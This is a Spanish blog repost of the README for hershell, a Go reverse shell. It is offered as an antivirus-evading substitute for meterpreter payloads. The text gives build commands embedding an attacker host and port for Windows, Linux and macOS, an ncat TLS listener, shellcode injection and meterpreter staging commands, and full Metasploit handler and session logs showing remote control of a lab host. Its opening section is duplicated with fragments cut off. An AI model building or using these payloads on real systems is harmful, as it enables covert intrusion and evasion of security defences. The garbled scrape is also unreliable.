Shell inverso TCP simple escrito en Go .
Utiliza TLS para proteger las comunicaciones y proporciona una función de fijación de huella digital de clave pública de certificado , evitando la intercepción del tráfico.
Los sistemas operativos compatibles son:
- Ventanas
- Linux
- Mac OS
- FreeBSD y derivados
Por qué ?
Aunque las cargas útiles de meterpreter son excelentes, a veces son detectadas por los productos AV.
El objetivo de este proyecto es obtener un shell inverso simple, que puede funcionar en múltiples sistemas.
Cómo ?
Como está escrito en Go, puede compilar de forma cruzada la fuente para la arquitectura deseada.
Primeros pasos y dependencias
Como se trata de un proyecto Go, deberá seguir la documentación oficial para configurar su entorno Golang (con la
Luego, solo corre
Creación de la carga útil
Para simplificar las cosas, puede usar el Makefile proporcionado. Puede establecer las siguientes variables de entorno:
Sin embargo, algunos objetivos auxiliares están disponibles en
Uso del shell
Una vez ejecutado, se le proporcionará un shell remoto. Este shell interactivo personalizado le permitirá ejecutar comandos del sistema a través
Se admiten los siguientes comandos especiales:
Uso En
primer lugar, deberá generar un certificado válido:
Para ventanas:
Para Linux:
Para Mac OS X
Ejemplos
Uso básico
Se pueden usar varias herramientas para manejar conexiones entrantes, como:
Puesta en escena de Meterpreter
ADVERTENCIA : actualmente solo funciona para la plataforma Windows.
La puesta en escena de meterpreter actualmente admite las siguientes cargas útiles:
Para usar la función de preparación de meterpreter, simplemente inicie su controlador:
Aunque las cargas útiles de meterpreter son excelentes, a veces son detectadas por los productos AV.
El objetivo de este proyecto es obtener un shell inverso simple, que puede funcionar en múltiples sistemas.
Cómo ?
Como está escrito en Go, puede compilar de forma cruzada la fuente para la arquitectura deseada.
Primeros pasos y dependencias
Como se trata de un proyecto Go, deberá seguir la documentación oficial para configurar su entorno Golang (con la
$GOPATHvariable de entorno).Luego, solo corre
go get github.com/lesnuages/hershellpara buscar el proyecto.Creación de la carga útil
Para simplificar las cosas, puede usar el Makefile proporcionado. Puede establecer las siguientes variables de entorno:
GOOS: el sistema operativo de destinoGOARCH: la arquitectura de destinoLHOST: la IP del atacante o el nombre de dominioLPORT: el puerto del oyente
GOOSy GOARCH, puede obtener los valores permitidos aquí .Sin embargo, algunos objetivos auxiliares están disponibles en
Makefile:depends: genera el certificado del servidor (requerido para el shell inverso)windows32: construye un ejecutable de Windows de 32 bits (PE 32 bits)windows64: construye un ejecutable de Windows de 64 bits (PE 64 bits)linux32: construye un ejecutable Linux de 32 bits (ELF 32 bits)linux64: construye un ejecutable Linux de 64 bits (ELF 64 bits)macos32: construye un ejecutable mac os de 32 bits (Mach-O)macos64: construye un mac os ejecutable de 64 bits (Mach-O)
LHOSTy LPORTvariables de entorno.Uso del shell
Una vez ejecutado, se le proporcionará un shell remoto. Este shell interactivo personalizado le permitirá ejecutar comandos del sistema a través
cmd.exede Windows o /bin/shen máquinas UNIX.Se admiten los siguientes comandos especiales:
run_shell: te deja un shell del sistema (permitiéndote, por ejemplo, cambiar directorios)inject <base64 shellcode>: inyecta un shellcode (codificado en base64) en la misma memoria de proceso y lo ejecutameterpreter [tcp|http|https] IP:PORT: se conecta a un controlador múltiple / para obtener un preprocesador de etapas tcp, http o https https desde metasploit y ejecuta el shellcode en la memoria (Windows solo en este momento)exit: salir con gracia
Uso En
primer lugar, deberá generar un certificado válido:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
$ make macos LHOST=192.168.0.12 LPORT=1234
Ejemplos
Uso básico
Se pueden usar varias herramientas para manejar conexiones entrantes, como:
- socat
- ncat
- módulo de servidor openssl
- controlador múltiple metasploit (con una
python/shell_reverse_tcp_sslcarga útil)
ncat:$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
Puesta en escena de Meterpreter
ADVERTENCIA : actualmente solo funciona para la plataforma Windows.
La puesta en escena de meterpreter actualmente admite las siguientes cargas útiles:
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_https
Para usar la función de preparación de meterpreter, simplemente inicie su controlador:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.1 6.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
hershell, use el meterpretercomando:[hershell]> meterpreter https 172.16.122.105:8443
msfconsole:[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/ handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
Créditos
@ khast3x para la función Dockerfile By Hacking Team

Comentarios
Publicar un comentario
Todos sus comentarios seran bienvenidos, no se admiten insultos todo con el debido respeto que se merece cada persona, o de lo contrario seran eliminado cada comentario inrespetuoso hacia los demas. y autores del blog tambien puedes seguirnos en:
Facebook: https://www.facebook.com/groups/HackingTeamCyber/
Grupo de Telegram: https://t.me/TheHackForceOfficial
Canal de Youtube: https://www.youtube.com/channel/UCXy8Lg28OuGuI5Z-2EWJaNA?view_as=subscriber
Canal Vimeo: https://vimeo.com/403136547?activityReferer=1
Red Social Twitter: https://twitter.com/TheHackForce